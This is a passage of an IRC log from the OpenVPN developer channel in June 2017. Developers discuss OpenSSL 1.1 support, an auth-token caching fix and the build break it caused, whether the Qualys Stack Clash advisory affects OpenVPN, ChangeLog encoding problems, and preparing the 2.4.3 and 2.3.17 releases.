in TCP option parsing. <https://github.com/OpenVPN/openvpn/commit/22046a88342878cf43a9a553c83470eeaf97f000> 15:49 <@plaisthos> cron2: your commit script has two times master and no 2.4 15:49 <@cron2> that wasn't my script but my lack of mouse control 15:49 <@plaisthos> :) 15:52 <@cron2> to bed now! good night :) 16:26 < slypknot> cron2: master built on arch with openssl 1.1 works :) 16:30 < slypknot> ordex: i really want to test it on linux :) --- Day changed Mon Jun 19 2017 01:33 <@ordex> morning! 01:33 <@ordex> slypknot: I'll try to get it ready and let you know then :) 02:38 <@cron2> slypknot: cool! 03:53 < eworm> Finally we have complete openssl 1.1.0 support. :D 03:57 <@mattock> \o/ 04:04 <@cron2> eworm: yay! Quite a busy Sunday this was :-) - have you tested that the current master works for you? 04:05 < eworm> Yes, it does. Perfectly fine. 04:05 <@cron2> wohoo! *happy dance* 04:05 < eworm> Well, openvpn 2.4.2 with these eight patch on top. ;) 04:06 <@cron2> that wasn't the question asked... 04:09 < eworm> I could give master some testing. 04:10 < eworm> Are there any plans for next release? 04:10 <@cron2> wednesday 04:10 <@cron2> like, day after tomorrow 04:15 < eworm> ah, cool! :) 04:19 <@ordex> cool guys! congrats :) 04:19 < eworm> Have there been any meetings recently? 04:25 <@cron2> we've never managed to be all available at the same time 04:49 <@syzzer> cron2: just in case you can find some spare time before tagging the release, there's still this NCP patch waiting for review (tested by trac reporter though): https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14066.html 04:49 <@vpnHelper> Title: [Openvpn-devel] [PATCH v2] Allow changing cipher from a ccd file (at www.mail-archive.com) 04:50 <@cron2> syzzer: yeah, good point 04:50 <@cron2> (as I just said to dazo on query - "after 2.4.3 is 2.4.4, and there are lots of things in my backlog queue") 04:51 <@syzzer> yeah - I fully understand if it doesn't make it :) 04:52 <@syzzer> it's just with the stuff from Guido and openssl 1.1 moving of my todo list, this one popped up again 04:52 <@cron2> your TODO list got quite a bit shorter yesterday :-) 04:53 <@cron2> (... and I just see 5 mails shifting TODO items over to mine... thanks) 06:14 * dazo tries to buildbot breaking by doing a git push :-P 06:14 <@dazo> tries to contribute to 06:16 <@vpnHelper> RSS Update - gitrepo: Ignore auth-nocache for auth-user-pass if auth-token is pushed <https://github.com/OpenVPN/openvpn/commit/571165360db0392fa83ec8e6f8de145f623c53fe> 06:18 * CRCinAU perks his ears up 06:19 <@dazo> CRCinAU: that's not the complete fix for your issue with the management interface ... but a long lingering one fixing it for non-management interface configs 06:20 < CRCinAU> so it needs one more patch to not even bother notifying the management interface on a token reneg? 06:20 <@dazo> yeah 06:20 <@dazo> hmmm ... I'll do a re-test, but I believe I tested a build with this patch applied when we did the debugging a while ago 06:21 < CRCinAU> so tht pretty much needs a if ( up->tokenized ) { don't tell the management interface } 06:22 <@dazo> yeah 06:22 < CRCinAU> either a return early, or ..... just skip that part. 06:22 < CRCinAU> more likely a if ( ! up->tokenized ) { prompt for reauth here } 06:22 <@dazo> need to have a close look at the management code to really see that 06:23 < CRCinAU> is the default value of a bool false? 06:23 <@dazo> tokenized is false by default, afair 06:24 <@dazo> it's not "explicitly" set ... but I believe the option struct should be set to all 0 when being initialized, which implies false 06:25 < CRCinAU> As I mentioned before, I'm not a C guru - but I just saw this: bool tokenized; /* true if password has been substituted by a token */ 06:25 < CRCinAU> when I code my perl stuff, I always start with: my $blah = 0; or similar 06:25 < CRCinAU> cos my perl land, 0 != not initialised 06:25 < CRCinAU> but 0 can equal false 06:26 < CRCinAU> or init to an empty string because "" is not the same as not initialised either 06:26 <@syzzer> the options struct is zeroized up start-up 06:26 <@syzzer> that's why tokenized will be 0 by default 06:26 <@syzzer> otherwise it woulde be undefined behaviour 06:26 < CRCinAU> cool :) 06:27 < CRCinAU> its always fun trying to educate new programmers that 0 != false != null != "" :P 06:27 <@syzzer> "whatever was in that memory location right before we allocated the struct" 06:27 <@dazo> and as C doesn't have a real bool (it is an int value) ... 0 means false and 1 means true 06:27 <@dazo> (or rather != 0 ==> true) 06:27 <@syzzer> dazo: C99 has a bool type :) 06:27 < CRCinAU> yeah - much like perl... 06:28 <@dazo> syzzer: but it can be abused as an int, iirc 06:28 <@dazo> (or an int can be abused as a bool) 06:28 <@syzzer> you can cast it to an int, that's something different ;-) 06:28 < CRCinAU> dazo: so in theory - now as long as I don't use NM to launch the openvpn session, I won't get the auth reprompt with auth-nocache? 06:28 <@syzzer> and if() is defined for numeric values, so you can use those to branch 06:28 < CRCinAU> ie the token will reauth? 06:29 <@syzzer> C is so full of subtleties... 06:29 <@dazo> int main() 06:29 <@dazo> { 06:29 <@dazo> bool test = 2; 06:29 <@dazo> printf("test=%i\n", test); 06:29 <@dazo> } 06:30 <@dazo> just tested that with -std=c99 ... and it prints "test=1" 06:30 < CRCinAU> heh 06:30 <@dazo> but compiles without warning with -Wall 06:31 <@dazo> CRCinAU: re: question ... yes, that is correct ... and we're going to do a release on Wednesday, so it'll hit Fedora repos fairly soon after that 06:31 <@syzzer> yes, because it casts the numeric value '2' to the bool value 'true', which is then cast back to an int by printf, which evaluates to '1' 06:31 <@dazo> right ... but it's implicit casting ;-) 06:31 < CRCinAU> dazo: sweeet :) 06:32 < CRCinAU> I'll have to do some testing with and without NM :P 06:32 <@dazo> (would have been good if the compiler would complain about 'bool test = 2' .... ) 06:32 < CRCinAU> dazo: I wonder what would happen hitting cancel in NM.... :P 06:32 < CRCinAU> oh wait - duhhhh - it uses its stored password.... never mind.... 06:33 <@dazo> CRCinAU: the default behaviour .... explosion! ;-) 06:33 < CRCinAU> yeah :\ 06:58 <@syzzer> dazo: just sent a patch to the list that you might like ;-) 06:59 <@syzzer> two, actually 07:01 <@cron2> dazo: well, technically, "everything that is not 0" is valid "true" in C, but for explicit numeric assignments, a warning might be in order... 07:04 <@dazo> that's what I meant :) 07:04 * dazo might have a solution for the management interface auth-token caching too 07:05 <@dazo> meh ... this management interface is fragile 07:06 * dazo wonders why it asks username/password before and after having received a token 07:10 < CRCinAU> dazo: that would be l33t if it was fixed before the next release ;) LOL 07:10 <@dazo> ordex: you awake? 07:10 <@dazo> CRCinAU: well, I have some some real WTF moments now ... 07:11 < CRCinAU> hahahaha :) 07:11 < CRCinAU> not as simple as we expected eh? :P 07:11 <@dazo> const bool nocache = up->nocache; 07:11 <@dazo> ... 07:11 <@dazo> if (nocache || force) 07:11 <@dazo> { 07:11 <@dazo> up->nocache = nocache; 07:11 <@dazo> } 07:11 < CRCinAU> what am I saying... it never bloody is 07:12 <@dazo> purge_user_pass() [misc.c:1425] 07:12 <@dazo> ahh, duh 07:12 <@dazo> secure_memzero(up, sizeof(*up)); 07:12 <@dazo> that of course requires this odd logic 07:13 * dazo probably need to fetch some food before continuing :-P 07:15 < CRCinAU> PUSH food(dazo,yummies) 07:15 <@dazo> :) 07:18 < CRCinAU> PUSH food(dazo,yummies) 07:19 < CRCinAU> bloody management interface ;) 07:51 <@cron2> dazo: I'm not sure if you want to hear that... 07:51 <@cron2> but... 07:51 <@cron2> your patch blows up buildbots... 07:51 <@cron2> init.o(.text+0x2625): In function `initialization_sequence_completed': 07:51 <@cron2> /home/buildbot/build-openvpn/build-cron2-freebsd-74-amd64-stable-master--disable-crypto/build/src/openvpn/init.c:1394: undefined reference to `delayed_auth_pass_purge' 07:55 < CRCinAU> cron2: seems its defined in /src/openvpn/misc.h 07:55 < CRCinAU> +void 07:55 < CRCinAU> +delayed_auth_pass_purge(void) 07:55 < CRCinAU> +{ 07:55 < CRCinAU> + auth_user_pass.wait_for_push = false; 07:55 < CRCinAU> + purge_user_pass(&auth_user_pass, false); 07:55 < CRCinAU> +} 07:55 < CRCinAU> + 07:57 <@cron2> CRCinAU: huh. The patch I'm looking at has it in ssl.c 07:57 < CRCinAU> hahahah 07:57 < CRCinAU> you're right. 07:57 * CRCinAU goes back to stabbing himself in the foot. 07:59 <@cron2> argh 07:59 * cron2 slaps ordex and dazo 07:59 <@cron2> delayed_auth_pass_purge() is defined inside an #ifdef ENABLE_CRYPTO, but called globally 08:00 < CRCinAU> wait, whut?! 08:00 < CRCinAU> why would you want openvpn without crypto? o_O 08:00 < CRCinAU> or is that purely a test case? 08:01 <@cron2> if you want the flexibility of the VPN part, but really only need an ip-in-ip tunnel... what do I know, but since we inherited these conditionals, we need to actually test them 08:01 < CRCinAU> fair enough :p 08:13 <@dazo> cron2: patch sent to ML 08:15 * dazo glares at all the various 'struct crypto_options' warnings appearing elsewhere in the code as well 08:17 <@dazo> btw, cron2 ... not just release/2.3 broke ... also master 08:20 < CRCinAU> dazo: you mad man! :P 08:22 <@cron2> dazo: I noticed, but your commit message did not reference 2.4 or master... 08:23 <@dazo> there are two separate patches, which are basically identical ... the backport patch is independent of master+release/2.4 08:23 <@cron2> I only saw one mail from you... need to look again 08:24 <@dazo> msg-id 20170619110825.17249-1-davids@openvpn.net :) 08:25 < CRCinAU> I only got one too 08:25 < CRCinAU> Message-Id: <20170619130507.13892-1-davids@openvpn.net> 08:26 <@dazo> it's here: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14878.html 08:26 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH applied] Ignore auth-nocache for auth-user-pass if auth-token is pushed (at www.mail-archive.com) 08:26 < CRCinAU> make sourceforge is doing its thing again 08:26 < CRCinAU> maybe even 08:28 < CRCinAU> I just got cron2's reply... 08:37 <@dazo> updated git tree pushed 08:37 <@cron2> thanks 08:37 * cron2 hopes for the best, and cycles to Kindergarten to fetch $kid[1] :-) 08:37 <@vpnHelper> RSS Update - gitrepo: auth-token with auth-nocache fix broke --disable-crypto builds <https://github.com/OpenVPN/openvpn/commit/5bde5b6d1875fd87b116c943084df0d2f6aee6d0> 08:53 < slypknot> i presume release/2.3 *cannot* be built on Arch with openssl 1.1 ? 08:53 <@dazo> slypknot: correct 08:54 < slypknot> oki-doki thanks :) 09:29 <@cron2> buildbot seems happy now - thanks 10:08 <@cron2> syzzer: while you're here ... I still have a question wrt your "Skip tls-crypt unit tests if required crypto mode not supported" patch... 10:16 <@syzzer> cron2: did I miss a mail/ 10:17 <@cron2> syzzer: no, I am just trying to figure out under which circumstances to make this *fail* - and I'm missing something here 10:17 <@syzzer> it would fail before the patch - and now just claim success 10:17 <@cron2> I thought I had a system without AES-256-CBC ("openssl ciphers") but it refused to fail "make check" beforehand, and is not printing a message afterwards... 10:18 <@syzzer> but it did run the unit tests 10:18 <@syzzer> ? 10:18 <@cron2> yes 10:18 <@syzzer> ie cmocka checked out, etc 10:18 <@cron2> yes :) 10:18 <@syzzer> hm 10:18 <@cron2> (the patch is totally making sense, so I ACKed and merge it days ago, but that I can't reproduce the failure irks me) 10:19 <@syzzer> it did fail for me on SLES11, and this 'fixed' it 10:19 <@syzzer> maybe the openssl tools just don't list AES-256-CTR, but it does support it internally 10:19 <@cron2> ah, CTR, not CBC 10:20 <@cron2> "openvpn --show-ciphers" isn't listing CTRs either, but maybe this is because we do not display it in general 10:20 <@syzzer> correct 10:20 <@syzzer> we only show supported data channel modes there 10:21 <@cron2> so most likely my openssl version just has it ("silently"), so it doesn't fail in the first place 10:21 <@cron2> strange 10:21 <@syzzer> fully according to openssl consistency rules 10:21 <@plaisthos> openvpn//src/openvpn/ssl_openssl.c:1543:30: warning: passing 'const BIO_METHOD *' 10:21 <@plaisthos> (aka 'const struct bio_method_st *') to parameter of type 'BIO_METHOD *' (aka 'struct bio_method_st *') 10:21 <@plaisthos> discards qualifiers [-Wincompatible-pointer-types-discards-qualifiers] 10:22 <@plaisthos> ks_ssl->ssl_bio = getbio(BIO_f_ssl(), "ssl_bio"); 10:22 <@plaisthos> yeah, more openssl warnings :/ 10:22 <@syzzer> yeah, I noticed those too - seems I only get those with a fairly new gcc 10:22 <@plaisthos> lemme check 10:22 <@syzzer> or new openssl - don't remember... 10:23 <@plaisthos> /usr/local/Caskroom/android-ndk/15/android-ndk-r15/toolchains/llvm/prebuilt/darwin-x86_64/bin/clang++ -v 10:23 <@plaisthos> Android clang version 5.0.300080 (based on LLVM 5.0.300080) 10:23 <@plaisthos> that is not a gcc :) 10:23 <@plaisthos> but it is openssl 1.1.0f 10:23 <@syzzer> must be the new openssl then 10:24 <@plaisthos> but I am down to ~20 missing symbols when linking cyrpot ;D 10:24 <@cron2> plaisthos: but clang is way more picky than gcc :) 10:26 <@cron2> syzzer: I think I'll defer the NCP ccd'able cipher to 2.4.4 - looking at it right now, and the patch alone is not self-explantory (the multi.c and ssl.c parts, option.* is clear enough) - so I need a larger picture and have no brains right now, and do not want to rush this either 10:28 <@syzzer> cron2: make sense 10:28 <@syzzer> +s 10:29 <@syzzer> plaisthos: the const correctness thing is due to an API change in BIO_new() and BIO_f_ssl(), which now take and return const pointers... 10:30 <@syzzer> which sucks, because that means we'll get the warning with either the one or the other 10:30 <@plaisthos> doh :/ 10:30 <@plaisthos> or you use pragma push stuff 10:31 <@plaisthos> Which I did in another project, disable certain warnings for certain 3rd party includes 10:32 <@syzzer> well, we can just cast away const explicitly to silence the warning, but that's 10:32 <@syzzer> ... ugly 10:32 <@cron2> that describes this sort of API changes quite nicely :) 10:34 <@plaisthos> damn 10:35 <@plaisthos> I fear I have to learn a little bit of perl :( 10:42 <@plaisthos> ah grep, sed on configdata.pm also works :D 10:45 <@dazo> plaisthos: you know you can merge grep + sed into awk? :-P 10:45 <@plaisthos> dazo: yes 10:45 <@plaisthos> but learning awk has a similar pirority than learning per l;) 10:46 <@dazo> hehe ... well, learning awk probably have a lesser steep learning curve though :-P 10:48 <@plaisthos> hm 10:48 <@plaisthos> I am getting reports that my new app version is crashing the system_server on Android 10:49 <@syzzer> :') 10:49 <@cron2> I would argue that your App triggered an Android bug :) 10:52 <@plaisthos> yeah 10:53 <@plaisthos> but it still sucks for the users 12:05 <@plaisthos> I give up on OSSL 1.1 for now 12:06 <@plaisthos> It seems to generate a mixture of defines for target and host platform 12:17 <@cron2> is "supports openssl 1.1" a "New Features" or "Maintainer-visible Changes" topic? 13:22 <@cron2> OpenVPN 2.4.3 [git:release/2.4/4347137cee7cbaf4+] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 19 2017 13:34 <@mattock> cron2: depends on whether openssl 1.1 adds any new features to openvpn, or just changes thing from maintainer perspective :P 13:35 <@mattock> I assume it mostly just replaces openvpn 1.0.2 without really bringing new stuff to the table (from openvpn perspective) 13:35 <@cron2> right, but is this something a maintainer needs to take care of? (Like "we do not support 1.0 anymore, you have to change your build environment")... :) 13:36 <@cron2> I'm mentioning it in "new features" for now, but the tree will be out for comments tonight... then you can haggle over that 13:36 <@cron2> right now fighting with backporting ssl stuff to 2.3, which has lots less {} around things and overall looks ugly :) 13:38 <@cron2> can I tell "git cherry-pick" to "please ignore hunks to Changes.rst"? 13:56 <@cron2> ntlm.c looks even more scary in 2.3 13:56 <@cron2> amazing 14:01 <@mattock> cron2: let me know when the embargo repo has the 2.4 and 2.3 patches - people on the distros list have been asking for them 14:02 <@mattock> I can point them to the "master" versions initially 14:02 <@cron2> mattock: 2.4 is in, 2.3 soon 14:02 <@cron2> syzzer has OK'ed master already 14:07 <@cron2> OpenVPN 2.3.17 x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [MH] [IPv6] built on Jun 19 2017 14:07 <@cron2> "it builds", let's see if it passes the tests :) 14:16 <@cron2> mmmh, fun 14:16 <@cron2> https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt 14:16 <@cron2> (need to read up in more peace if this could affect us, but gut feeling says "no", as we do not allocate or qsort large amounts of user defined memory, as in "in the gigabytes range") 14:30 <@cron2> ============================================================================ 14:30 <@cron2> Testsuite summary for OpenVPN 2.2.3 14:30 <@cron2> ============================================================================ 14:30 <@cron2> # TOTAL: 3 14:30 <@cron2> # PASS: 3 15:01 <@dazo> cron2: hmmm ... regarding qualsys findings .... it more levels down to what our gc_arena allocator does ... there's also some recurring calls here and there (option parser for example, where you can use 'config' inside a config file as a kind of "include" statement) 15:01 <@cron2> dazo: you can, but I think the recursion depth is bounded, and we never malloc for "the whole config" 15:02 <@cron2> not like "hey, qsort, here's a pre-sorted array, please have fun with N/4 recursion steps" 15:02 <@dazo> now, that might not be too bad ... as we need to start openvpn as root, so there's not much to gain privileges from there .... _but_ the management interface may have some intricate code paths which may use some stack or heap 15:02 <@dazo> if it is enough to fully trigger a clash, is too early to say for me 15:02 <@cron2> "a few kbytes", not "close to a gbyte" 15:03 <@cron2> (on a i386 machine, stack and heap are at opposite ends of a 4Gbyte address range, modulo library and stuff, so "1 Gbyte" is a reasonable estimate) 15:04 <@cron2> on amd64, this is somewhat moot (and IIRC on Sparc64, stack and heap are even both growing up, as it does not really matter anymore) 15:04 <@dazo> right ... but they start this with "Our research started with a 96-megabyte surprise:" .... 15:05 <@cron2> however they ended up there - like "a firefox process close to OOM" or so :) 15:05 <@cron2> you'd need to have used a lot of stack to be down at 0xbf... when you start at 0xff... 15:07 <@dazo> yes, that is right .... however, considering the intricate code paths and design James have used many places .... I'm not convinced now that we're all clean ... but it wouldn't surprise me that in all this, the gc_arena is what is saving us too 15:23 <@plaisthos> cron2: you get new tls features 15:23 <@plaisthos> that are transparent for openvpn 15:23 <@plaisthos> like chahcha-poly tls suites 15:27 <@dazo> syzzer: thx for digging into the misc.c mess .... that was one of the real challenges when I started (and never got too far on) when trying to write a plug-in tester (to check if the plug-ins behave as expected) 15:31 <@dazo> cron2: ChangeLog is ISO-8859-1, not UTF-8 .... 15:31 <@dazo> J<E9>r<E9>mie Courr<E8>ges-Anglas (2): 15:34 * dazo prepares a patch with suggested improvements 15:47 <@cron2> dazo: blaim vim... I just did ":r! git shortlog" 15:52 <@dazo> meh .... ChangeLog have more charset issues :/ 15:52 * dazo fixes all 15:55 <@dazo> I tried vi, vim, emacs and gedit ... all was confused ... Samuli was some places encoded wit 8859-15, other places with UTF-8 16:01 <@syzzer> cron2: the v2.4.3-tagged commit msg needs a s/2.4.1/2.4.3/ 16:03 <@syzzer> dazo: tbh, I wonder whether keeping a ChangeLog file in the repo still makes sense, now we have the user-readable Changes.rst for in the tarballs, and git log for git users... 16:14 <@dazo> syzzer: I think the Debian package maintainers parses that file into their own .... but of course, that is easily reproduced consistently with 'git shortlog' 16:15 <@dazo> I'm putting together a fix-up patch for each of these brances .... so I'll pull in the v2.4.3-tagged commit message mistake too 16:18 <@syzzer> ok 16:28 <@dazo> ahh, it was the commit message .... I looked at the ChangeLog/Changes.rst headers 16:45 <@ordex> dazo: were you looking for me because of the auth-token patch ? 17:12 <@plaisthos> dazo: maybe it is time to change to utf-8 19:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 19:23 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 19:23 <@dazo> ordex: not directly the issues we found today (and fixed) .... more the management side of this issue .... but I'm heading to bed now and will look more into that tomorrow 19:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:24 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:24 <@dazo> and in regards to the qualsys stack-smashing report ... https://lwn.net/SubscriberLink/725832/6adcfba4701dc624/ 19:24 <@vpnHelper> Title: Preventing stack guard-page hopping [LWN.net] (at lwn.net) 19:25 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 20:24 -!- CRCinAU_ is now known as CRCinAU --- Day changed Tue Jun 20 2017 00:30 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 00:30 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 01:52 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 01:53 <@cron2_> syzzer: whoops 01:56 <@cron2_> but fixing the tip-of-branch commits is easy (and since the repo is non-public, updating the tags is easy enough( 01:56 <@cron2_> argh 01:57 <@cron2_> english keyboard here :) 02:21 <@cron2_> dazo: can you mail me the fixup patches, please? Copy-paste is complicated (because I'm not - never :) - sitting at the machine that has the git repos...) and especially ensuring that UTF8/ISO fixes get across properly is easier with "save mail, apply that" 02:25 <@cron2_> oh well, let's see how well "wget" will do this for me... 02:26 <@ordex> dazo: sure 04:03 <@vpnHelper> RSS Update - tickets: #905: User cannot use openvpn <https://community.openvpn.net/openvpn/ticket/905> 04:05 <@ordex> good morning by the way :) 04:09 -!- cron2_ is now known as cron2 04:09 <@cron2> again?? 04:09 <@cron2> in that case: good morning to you, too, sir :-) 04:11 <@cron2> mattock: the reason why the cloning takes so long is because my server is "dumb", I have learned - there's "plain http" and "http with extentions" 04:11 <@ordex> :P 04:11 <@cron2> I did not investigate further :) 04:56 < slypknot> ordex: if you get any free time to get this working https://github.com/ordex/openvpn/tree/ipv6pf I'll be happy to test again 04:56 <@vpnHelper> Title: GitHub - ordex/openvpn at ipv6pf (at github.com) 04:57 <@ordex> slypknot: yup! it's in my pipe 04:57 <@mattock> cron2: the repo is "fast enough" already 04:57 <@mattock> I initially just thought it was not working because it hanged so long during cloning 04:57 <@mattock> I guess I'm spoiled by GitHub and other more performant Git repos :P 05:01 < slypknot> ordex: thanks very much :) 05:18 <@cron2> mattock: one big difference is that git is telling you what it is doing on a "smart" repo 05:44 <@cron2> http://www.commitstrip.com/en/2017/06/19/security-too-expensive-try-a-hack/ 05:44 <@vpnHelper> Title: Security too expensive? Try a hack | CommitStrip (at www.commitstrip.com) 05:44 <@cron2> just sayni' 05:49 <@dazo> cron2: just did a quick glimpse on the updated repo ... looks good to me .... in fact, I didn't spot any changes at all from local git branches (with my proposals) to your latest branches ... so that gotta be good :) 05:49 * dazo checks the tags now 05:51 <@dazo> cron2: you have charset mixup in the tag 05:51 <@dazo> hmm ... perhaps you didn't push out updated tags? 05:53 <@cron2> I did, but did you pull? 05:53 <@dazo> yeah 05:53 <@cron2> my "git tags -l v2.4.3" shows Jeremie's name sufficiently mangled so I assume it is UTF8 ("looks the same in ChangeLog") 05:53 <@dazo> branches are updated ... but not tags 05:53 <@dazo> did you force-push tags? 05:54 <@cron2> v2.4.3 points to 05:54 * dazo tries another clean clone 05:54 <@cron2> commit cf91b19e5213a483d4fc91e495331dd9d03cb965 (HEAD -> release/2.4, tag: v2.4.3, embargo/release/2.4) 05:54 <@cron2> Everything up-to-date 05:54 <@cron2> (indeed, *yesterday*'s tag message had ISO characters there) 05:54 <@dazo> ahh, I had to do an explicit --tags to get the updated tags 05:56 <@dazo> so, the cosmetic details looks fine to me 05:56 <@dazo> I've run 'make check' on 2.4 and 2.3 .... will run one now on 2.2, just for sanity (even though that's just a git release) 06:03 <@mattock> I'm attempting to build Debian Stretch packages while waiting for the tarballs 06:04 <@dazo> mattock you could just prepare everything with a preliminary tarball locally .... and then swap it with the official one tomorrow and kick of the public builds 06:05 <@cron2> I had the tarballs built, but syzzer just threw a wrench into my gears :) - waiting for agreement on the list to proceed that way 06:06 <@mattock> dazo: yep, that is what I'm doing 06:06 <@cron2> mattock, dazo: if you two could have a short look and do not disagree, I'll amend branch tips for master, 2.4 and 2.3, and push in ~15 minutes, so tarballs should be ready in ~30 06:08 <@dazo> cron2: don't stress ... if having tarballs in 30min or 2h, I prefer what avoids re-rolling in the very end :) 06:08 <@mattock> 2 hours is probably doable, but of course I'd prefer a.s.a.p. 06:09 <@cron2> 2h is not the time scale :-) - if I go and amend commit messages (not just branch tips), it will me take at least 2h to go through all of this to make sure all references are right etc 06:09 <@cron2> so it would be more "some time tonight" then 06:09 <@mattock> the problem is that I have two hours of sessions/meeting today evening starting at now+5 hours 06:10 <@cron2> since syzzer is ok with the proposed course of action, I think I'll just do that now :) 06:10 <@mattock> I'm fine with it 06:10 <@mattock> also, that allows me to prepare most of the release today - 13:00 my time tomorrow is very tight if I have the tarballs in the morning 06:10 <@dazo> yeah, agreed ... and we'll fix this one later on: 06:10 <@dazo> src/openvpn/ssl_verify_openssl.c: "ERROR: --x509-alt-username field 'ext:%s' not supported", 06:11 * cron2 rolls eyes - syzzer: this thing really stuck to your fingers :) 06:11 <@syzzer> yeah, at least I'm consistently wrong :') 06:11 <@dazo> ;-) 06:11 <@mattock> whenever I try to write "open", I consistently write "openvpn" and then fix it :P 06:11 <@mattock> that really stuck to _my_ fingers 06:12 <@cron2> yep :) 06:12 <@syzzer> anyway, that one should not even be externally visible so fine to fix later 06:14 <@dazo> agreed 06:14 <@syzzer> (becuse of src/openvpn/options.c:8088: msg(msglevel, "Unsupported x509-username-field extension: %s", s); ) 06:14 <@cron2> + 912cc682...1a1cec87 v2.3.17 -> v2.3.17 (forced update) 06:14 <@cron2> + 6c4bf7e9...af49bf5c v2.4.3 -> v2.4.3 (forced update) 06:15 <@cron2> syzzer: that's not very consistent... 06:15 <@mattock> I just sent a query from the SuSE team to the security list 06:17 <@cron2> syzzer: do you want to answer that? I think it's fine as it's "the same function, the same class of error, the same 3-patch set" 06:18 <@syzzer> cron2: writing that answer now 06:19 <@syzzer> (just double-checking before hitting send) 06:19 <@mattock> syzzer: can you respond to the email which contained the repo URL and which went to the distro maintainers? That way nobody else should ask this question again 06:21 <@mattock> I'll forward the info then :P 06:22 <@syzzer> mattock: sorry - read your remark too late 06:22 <@syzzer> but I think "one point of contact" is good - so would prefer that anyway 06:23 <@cron2> argh, vi 06:23 <@cron2> ChangeLog has UTF8 in it (now), but FreeBSD-nvi is smart enough to convert this to ISO when opening and displaying in an ISO8859 terminal 06:24 <@dazo> eek 06:24 <@cron2> so I can't really see which encoding the file is in, "it looks good visually" 06:24 <@cron2> "head -50 ChangeLog" will, OTOH, just show me what is in there (not waht it things I might want to see) :-) 06:24 <@cron2> thinks 06:24 <@dazo> if you need some verification, dump the file a place I can fetch it 06:25 <@mattock> syzzer: np, I forwarded the info 06:25 <@cron2> dazo: it's in the repo :) - I was just double-checking that the 2.4.3 tarball really has the correct text in Changes.rst, and really has the correct encoding 06:25 <@dazo> ahh, good :) 06:30 <@cron2> fly, little bits...! 06:31 <@dazo> :) 06:35 <@dazo> cron2: you've signed the tarballs with the wrong key ... use the security key 06:35 <@dazo> unless we want mattock to that job :) 06:36 <@cron2> not sure what we want, so I used my personal key for "I did this" 06:36 <@dazo> fair enough 06:36 <@cron2> but indeed, if we're going to use these particular tarballs (I assumed mattock would roll them, but maybe I wasn't thinking) I need to redo 06:37 <@cron2> *rolling* 06:46 <@mattock> I will need to sign windows installers anyways, so signing tarballs also is not a big deal 06:47 <@cron2> tarballs with the other signing key are uploaded as well now :-) (openvpn-v2.3.17-seckey.tar, openvpn-v2.4.3-seckey.tar) - pick whichever you like :-) 06:48 <@cron2> (directory browsing is permitted) 06:50 <@dazo> old ... but still funny ... http://www.commitstrip.com/en/2017/05/29/trapped/ 06:50 <@vpnHelper> Title: Trapped | CommitStrip (at www.commitstrip.com) 06:50 <@cron2> there's so many ways out... :-) 06:51 <@dazo> :) 06:51 <@ordex> lol 06:55 <@cron2> dazo: great script. Needed 3 tweaks to work on non-bash / non-linux systems, but that's really minor 06:57 <@dazo> that's nice :) 06:58 <@dazo> I really tried hard to avoid bashism and Linuxism .... but there's so many pitfalls and finger patterns which are easy to fall into 07:06 <@mattock> release wheels are now rolling 07:07 <@dazo> mattock: are we going to do a heads-up announcement? 07:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 07:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:24 <@mattock> dazo: that would make sense 07:24 <@mattock> can you do it? I'm busy rebasing stuff etc 07:38 <@dazo> Sure 07:49 <@mattock> great, thanks! 07:49 <@mattock> building windows installers now 07:55 <@cron2> \o/ 08:01 <@mattock> build successful for 2.4.3, now 2.3.17... 08:01 <@mattock> also building debian / ubuntu packages, stretch included 08:01 <@mattock> hopefully stretch does not play any tricks... 08:18 < slypknot> ordex: I finally figured out why I could not get it working (i did not read about --packet-filter-dir and was doing it the old way) now it works on linux .. will try to build for windows and let you know 08:46 <@ordex> slypknot: oh ok! I totally forgot about that :P sorry it was quite some time ago 08:47 < slypknot> ordex: building for windows now :) 08:47 <@ordex> cool :) 08:50 < slypknot> it would be great if you can get this into master some time ;) 08:54 < slypknot> ordex: is there any specific version of openssl i should use ? 08:55 * slypknot is seeing small errors while building openssl102k 09:02 <@ordex> slypknot: that is an old branch, I think we were still on 1.0.1 09:09 < slypknot> ordex: i'll test what I can but It would be great to rebase it or whatever has to be done 09:10 <@ordex> yeah I Will 09:10 <@ordex> that's the first step 09:31 < slypknot> ordex: initial testing on Win10 ovpn server looks like it all works .. I'll continue testing for a couple of days to make sure but so far all working 09:31 <@ordex> slypknot: thanks a lot ! 09:40 <@mattock> all windows installers built, debian/ubuntu 2.4.3 covered, 2.3.17 being built (and looks good) 09:40 <@mattock> stretch packages at least build and probably work 09:40 <@mattock> and none of it has been tested _at all_ :) 09:48 < CRCinAU> so - am I going to get banned again? :) 09:48 < CRCinAU> https://github.com/systemd/systemd/issues/481#issuecomment-309776736 09:48 <@vpnHelper> Title: add pppoe support to systemd-networkd · Issue #481 · systemd/systemd · GitHub (at github.com) 09:51 <@cron2> /mode #this +b crcinau 09:51 < CRCinAU> Also, I'm loving the 'President / CIO' of a 'Microsoft Certified Systems Engineer' in Security that can't figure out how to unsubscribe from a mailing list. 09:52 < CRCinAU> like, awesome way to pimp out your business. 09:54 < CRCinAU> so we originally requested PPPoE support in systemd's networkd nearly 2 years ago 09:54 < CRCinAU> closed as "probably not going to happen" 09:54 < CRCinAU> so 2 years later, suggest either the network manager gets work and is somewhat completed, or its depreciated and probably removed. not just left floating as half assed.... 09:55 